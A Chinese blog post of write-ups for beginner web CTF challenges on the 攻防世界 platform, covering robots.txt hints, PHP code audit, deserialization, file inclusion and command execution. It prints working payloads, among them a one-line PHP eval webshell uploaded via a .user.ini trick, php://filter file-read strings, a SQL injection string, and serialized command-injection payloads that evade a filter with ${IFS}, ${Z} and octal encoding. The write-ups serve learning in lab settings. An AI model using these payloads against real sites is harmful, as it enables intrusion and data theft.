攻防世界Web题解析(难度1)

该博客围绕Web安全展开,包含Training-WWW-Robots、PHP2等多个题目。涉及robots提示利用、PHP代码审计、序列化与反序列化、命令执行绕过等内容,如通过修改序列化字符串属性个数、使用科学计数法绕过长度限制等方法解题,总结了php代码审计、反序列化等知识点。

Training-WWW-Robots

看到robots提示直接输入路径/robots.txt

得到/f10g.php路径 输入就可以得到flag

PHP2

打开环境

 翻译:你能登入这个网站吗 

查看源码也没发现什么  输入/admin后缀也没有登入 然后就用dirseach扫描一下

发现有index.php路径

然后输入之后也没有回显 然后自然联想到index.phps(phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服> 务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。
它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。) 输入后得到一段代码

接下来就是审计代码了

这段代码就是传入一个参数id 如果id的值为admin 则输出 not allowed 需要传入一个id并且这个id进行url解码后的值为admin

这里需要注意的是当我们在浏览器输入admin时,浏览器会对admin进行一次url解码,所以需要对admin进行两次url编码才可

Payload:?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

unserialize3

打开环境是一段代码  代码审计走起,最重要的是这一个函数function __wakeup(),配合题目unserialize想到PHP的序列化和反序列化

 

_wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:

序列化代码:

<?php

class xctf{                      //定义一个名为xctf的类

public $flag = '111';            //定义一个公有的类属性$flag,值为111

public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本

exit('bad requests');

}

}

$test = new xctf();           //使用new运算符来实例化该类(xctf)的对象为test

echo(serialize($test));       //输出被序列化的对象(test)

?>

序列化结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

然后将1改为 2 传入code 就可以获得flag

ics-06

进入页面之后发现只有云平台报表中心能够点进去

发现一个很重要的信息:?id=1 这时候本以为这里的日期查询可能存在注入什么的,尝试后证明我想多了

然后就尝试对这个数字进行bp爆破吧

 

发现到2333时发现长度不一样 试着输入进去

然后就得到flag了

view_source

Ctrl+u查看源码 得到flag

get_post

http的数据请求post和get原理

Robots

robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

根据提示robots,可以直接想到robots.txt,

         

然后输入f1ag_1s_h3re.php

Backup

打开环境

掌握有关备份文件的知识

常见的备份文件后缀名有: .git .svn .swp .svn .~ .bak .bash_history

看到这个如果学过备份文件这块内容的话 慢慢尝试得到index.php备份文件名后缀为bak

如果不知道 就用dirsearch扫描一下也可

下载后绝可以获得flag

Cookie

你知道什么是cooike?

BP抓包看看

得到cooike.php

然后按照要求发到repeter 就可以得到flag

disabled_button

F12 删掉这个disabled就行了

或者审计代码用post方式传递auth=flag,同样可以获得flag

weak_auth

这题应该考的就是一个密码的爆破

然后根据经验 自然输入弱口令admin /123456

结果就得到flag了

simple_php

打开环境 审计代码

发现同时满足 $a==0 和 $a 时,显示flag1。

.php中的弱类型比较会使’abc’ == 0为真,所以输入a=abc时,可得到flag1,如图所示。(abc可换成任意字符)。

  1. is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真,所以当输入a=abc&b=1235a,可得到flag2,如图所示。

baby_web

根据提示 初始页面是哪个; 自然而然就想到index.php

inget

题目要求对id进行传参 还有一个bypassr绕过 那么这道题就可能考sql注入  输入?id=1 啥也没有 输入?id=1’ or 1=1 也没有什么 输入 ?id=1' or 1=1 --+(--+为注释符)就饿可以获得flag

使用sqlmap也可获得flag

easyupload

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串

检查后缀中是否有htaccess或ph

检查文件头部信息

文件MIME类型

解题思路;

.新建1.user.ini文件,内容如下
GIF89a
auto_prepend_file=a.jpg
2.上传该文件,并用burp抓包,将Content-Type: application/octet-stream修改为
Content-Type: image/jpg

 
3.放包,结果如下

 
4. 新建a.txt文件,内容为
GIF89a

<?=eval($_REQUEST['cmd']);?>

保存后将文件后缀修改为.jpg
5.直接上传该文件即可成功上传
PS:按F12打开调试器选择网络查看上传文件的地址
如图所示上传地址为:****/uploads/index.php
6.直接蚁剑连接 获得flag

fileinclude

打开环境

这个就说明flag存在于flag.php中 还给了绝对路径

查看源码

源代码中看到` @include($lan.".php"); `,可知此处存在文件包含。

`$lan`的值是从cookie中传过来的。所以对`language`赋值,构造payload,重放包就可读出flag.php经过base64加密后字符串

然后使用BP抓包 使用php://filter伪协议就可以得到一串base64字符串

Payload:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

解密字符串base64解密后得到flag。

fileclude

审计代码:

file_get_contents函数可以使用php伪协议绕过

Payload:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

Post写入: hello ctf
使file_get_contents($file2) === “hello ctf”

或者

Payload:?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello%20ctf

我们使用 data URI scheme 来将字符串 "hello ctf" 直接嵌入到 GET 请求中,以避免需要一个真实的文件。这样,当我们访问这个 URL 时,$file2 的内容就是 "hello ctf",从而触发了漏洞并执行了 flag.php 文件,从而输出了 flag。

得到base64字符串 然后解密就可以得到flag

easyphp

打开就需要代码审计

我们分开进行审计

1.

这个就是说

主要由三部分组成,分别是isset、intval、strlen,三种函数功能分别是检查变量是否设置、将变量转化为int型、计算变量长度。2、3两个条件明显是矛盾的,既要求数字大于6000000有要求数字的长度小于3。

这里涉及的知识点是在低版本的php当中科学计数法的长度是按字符串来算的,因此可以使用科学计数法来绕过长度限制,如这里使用1e9。

所以a=1e9

2.

第二部分要求我们计算出一个前6字符相同的哈希值,属于哈希碰撞的范畴,暴力破解找到合适的值就可以了贴一下自己写的碰撞的php代码

<?php

    for ($b=0; $b < 100000; $b++) {

        if(substr(md5($b),-6,6) ==='8b184b'){

            echo $b;

        }

    }

?>

得到结果53724

所以b=53724

这时候就可以得到key1了

3.

这部分

Json encode加密

所以c=={"m":"9999x","n":[[],0]}

获得key2 最终可以获得flag

最终payload: ?a=1e9&b=53724&c={"m":"9999x","n":[[],0]}

file_include

 访问路径获得源码

通过阅读php代码,我们明显的可以发现,这个一个文件包含的类型题

读题我们发现我们需要去读取./check.php中的数据,我们尝试用伪协议进行读取,接下来构造payload:?filename=php://filter/read=convert.base64-encode/resource=check.php

发现行不通,试试data://流也行不通

肯定是被过滤了,我去百度filter绕过过滤的时候发现了一种:

转换过滤器

如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。

转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息,请参考该函数的手册页。

https://www.php.net/manual/zh/filters.convert.php

在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器,

等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数,

但可使用输入/输出的编码名称,组成过滤器名称,

比如 convert.iconv.<input-encoding>.<output-encoding>

或 convert.iconv.<input-encoding>/<output-encoding>

(两种写法的语义都相同)。

支持的字符编码

当前 mbstring 模块支持以下的字符编码。这些字符编码中的任意一个都能指定到 mbstring 函数中的 encoding 参数。

该 PHP 扩展支持的字符编码有以下几种:

UCS-4*

UCS-4BE

UCS-4LE*

UCS-2

UCS-2BE

UCS-2LE

UTF-32*

UTF-32BE*

UTF-32LE*

UTF-16*

UTF-16BE*

UTF-16LE*

UTF-7

UTF7-IMAP

UTF-8*

ASCII*

EUC-JP*

SJIS*

eucJP-win*

SJIS-win*

ISO-2022-JP

ISO-2022-JP-MS

CP932

CP51932

SJIS-mac(别名:MacJapanese)

SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)

SJIS-Mobile#KDDI(别名:SJIS-KDDI)

SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)

UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)

UTF-8-Mobile#KDDI-A

UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)

UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)

ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

JIS

JIS-ms

CP50220

CP50220raw

CP50221

CP50222

ISO-8859-1*

ISO-8859-2*

ISO-8859-3*

ISO-8859-4*

ISO-8859-5*

ISO-8859-6*

ISO-8859-7*

ISO-8859-8*

ISO-8859-9*

ISO-8859-10*

ISO-8859-13*

ISO-8859-14*

ISO-8859-15*

ISO-8859-16*

byte2be

byte2le

byte4be

byte4le

BASE64

HTML-ENTITIES(别名:HTML)

7bit

8bit

EUC-CN*

CP936

GB18030

HZ

EUC-TW*

CP950

BIG-5*

EUC-KR*

UHC(别名:CP949)

ISO-2022-KR

Windows-1251(别名:CP1251)

Windows-1252(别名:CP1252)

CP866(别名:IBM866)

KOI8-R*

KOI8-U*

ArmSCII-8(别名:ArmSCII8)

对于我这种编码能力差的小白,采用bp爆破,然后呢,发

现?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=check.php好使,但是没有flag

那么我们看看flag.php有没有

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

得到flag

unseping

打开路径 审计代码

审计:

<?php
//显示源代码
highlight_file(__FILE__);
定义一个easy类
class ease{
    
    private $method;
    private $args;
    //PHP 构造函数,主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 //析构函数 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
 //通俗的说就是当对象结束时触发该函数
    function __destruct(){
    //如果传入的数组中第一个参数method为ping,则执行下面的函数
        if (in_array($this->method, array("ping"))) {
        //call_user_func_array:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入;比如call_user_func_array("ping","127.0.0.1") 执行命令 ping 127.0.0.1
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 //执行传入的参数
    function ping($ip){
        exec($ip, $result);
        //返回结果的值和类型
        var_dump($result);
    }
//过滤函数,过滤了很多特殊符号,关键词等
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 //规定:__wakeup(),执行unserialize()时,先会调用这个函数
    function __wakeup(){
    //遍历传入的数组
        foreach($this->args as $k => $v) {
        //查看将传入的数组值放入waf函数中进行过滤
            $this->args[$k] = $this->waf($v);
        }
    }   
}
//传入一个post参数
$ctf=@$_POST['ctf'];
//先进行base64解码然后在进行反序列化
@unserialize(base64_decode($ctf));
?>
poc编写

通过对源码的分析,我们可以初步进行php脚本编写
源码中,在post参数ctf中传入,首先将ctf编码,然后对ctf变量进行序列化,从而传入类中
传入的参数符合以下条件:

  • 第一个参数为ping
  • 第二个参数为执行的命令(做绕过)

通过以上分析,编写的php脚本如下

<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
// function __destruct(){
//     if (in_array($this->method, array("ping"))) {
//         call_user_func_array(array($this, $this->method), $this->args);
//     }
// } 
// function ping($ip){
//     exec($ip, $result);
//     var_dump($result);
// }
// function waf($str){
//     if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//         return $str;
//     } else {
//         echo "don't hack";
//     }
// }
// function __wakeup(){
//     foreach($this->args as $k => $v) {
//         $this->args[$k] = $this->waf($v);
//     }
// }   
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$a = new ease("ping",array('pwd'));
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiJChwcmludGYJIlwxNTRcMTYzIikiO319
$b = serialize($a);
echo $b;
echo base64_encode($b);//将打印出base64复制到post ctf参数中
?>

得到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319

将编码后的base64 通过参数名ctf post到题里 

 

 pwd成功被执行了 

命令绕过

可以看到命令已经执行,下面的就是进行命令绕过了,我们看到ls被过滤了,想到可以进行空环境变量绕过,绕过方法比较多,想到以下3种

  • ‘’ 单引号
  • “” 双引号
  • ${Z}

这里用${Z}绕过

$a = new ease("ping",array('l${Z}s'));

得到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319

查看到类似文件夹flag_ls_here

 执行ls flag_1s_here就好了 注意flag也要绕过

 $a = new ease("ping",array('l${Z}s${IFS}f${Z}lag_1${Z}s_here'))

payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319 

看来flag_1s_here文件夹下存在flag_831b69012c67b35f.php

尝试打开xxx/flag_1s_here/flag_831b69012c67b35f.php,发现为空白页,此时想到应该是查看php原文
执行命令cat flag_1s_here/flag_831b69012c67b35f.php,想了半天,发现空格,关键字都能绕过,但是只有/无法绕过,在这里,我查阅资料发现有一种oct命令绕过方法

oct 绕过命令执行

需注意,符号都为英文状态下
此时我们需要执行命令为cat flag_1s_here/flag_831b69012c67b35f.php
$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")
编写脚本对命令进行ascii编码然后八进制转换
 

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
    lett = oct(ord(i))
    //这个主要是为了将八进制前面的0o替换掉
    lett=str(lett).replace("0o","")
    arr.append(lett)
sym = "\\"
# print(arr)
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)

得到

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

获取到编码后直接用php脚本获得payload,空格运用${IFS}绕过即可

payload; 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

得到flag

本题的知识点很多,总结出来以下几点

  • php代码审计
  • php反序列化
  • 命令执行的绕过方式
  • 空格绕过
  • 空环境变量绕过相关命令

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值